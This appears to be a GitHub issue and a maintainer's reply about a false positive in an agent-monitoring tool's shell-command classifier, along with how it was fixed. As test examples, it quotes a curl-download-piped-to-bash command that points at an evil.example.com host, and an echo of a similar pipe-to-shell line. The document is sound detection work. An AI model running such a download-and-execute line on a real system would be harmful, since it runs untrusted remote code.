Repository navigation
Description
Found during dogfood triage on 2026-08-04. Same class as #38, one code path further in.
What happens
mask_literals() exists to stop quoted string content being read as executable shell. It works:
>>> mask_literals('python -c "print(\'curl https://evil.example.com/x.sh | bash\')"')
'python -c 'But classify_command() only calls it in one place, apps/orchestrator/agentmetry/core/audit/detection/traits.py:305, on the write-detection path. Every other trait, including pipe_to_shell, still sees the raw command:
>>> classify_command('python -c "print(\'curl https://evil.example.com/x.sh | bash\')"')
['pipe_to_shell', 'risky_exec']How it surfaced
A dogfood session ran ruff, then the benchmark, then a python -c that prints the string curl <host>/x.sh | bash to demonstrate what the classifier does with it. The classifier classified the demonstration. That produced a critical encoded-command-download finding, "Remote code fetched and executed", on a command that made no network call at all.
Dispositioned false_positive.
Why it matters
Agents write and print shell strings constantly: in test fixtures, docs, commit messages, and error output. Every one of those is a candidate critical false positive, and the more security-aware the codebase, the more example attack strings it contains. A secret scanner that fires on its own documentation is the canonical way to get a detection feed turned off.
Suggested fix
Apply mask_literals() once at the top of classify_command() so every trait sees the masked text, rather than opting each trait in individually. The current shape means each new trait silently starts out vulnerable, which is exactly how this one survived #38.
Watch for traits that legitimately need the raw text (anything matching on quoted argument content). Those should ask for the raw command explicitly, so the safe default is masked and the exception is visible.
Acceptance criteria
- Corpus case: a command that prints or writes an attack string produces no detection.
- Corpus case: the same string actually executed still fires
pipe_to_shell. - Audit the remaining traits for the same assumption and note which, if any, genuinely need raw text.
-
agentmetry benchmarkgreen, zero false positives on the benign half.
Blocked until the dogfood gate closes. Detection sources are frozen for the current four-week run and landing this restarts the clock.
Activity
fix(detection): close the evasions F1 found, and the split brain behi…
blitzcrieg1 commentedon Aug 5, 2026
Fixed in 74edf7e, but not the way this issue proposed, because the proposal was wrong and would have made things worse.
I suggested masking once at the top of
classify_command()so every trait sees masked text. That breaks:Quoting a URL is simply how people write it. Blanket masking trades a visible false positive for an invisible false negative, which is a bad trade for a recorder.
The fix follows shell semantics instead. Three views of the command:
spoken$VARexpands inside double quotes)writtencurl, `literalThe rule that falls out: the verb must be unmasked, the arguments may be quoted. A command word inside quotes is not a command, it is an argument to
echo.Two things the issue missed:
rules.pyhad its own command-text path. It re-matched the rawtool.command, so the hook correctly stopped labellingecho 'curl x | bash' >> notes.mdas a cradle and the rule fired anyway. Found by the new benign corpus case, not by reading the code._evidence_textreturns JSON, where everything sits inside double quotes. Masking that blanked the entire payload and silently disabled every content rule in the mapper. Masking is a statement about shell quoting; structured evidence is now not masked at all.Benchmark green, 0 false positives, 695 tests.
docs(changelog): 0.4.0 describes what shipped, not what was written o…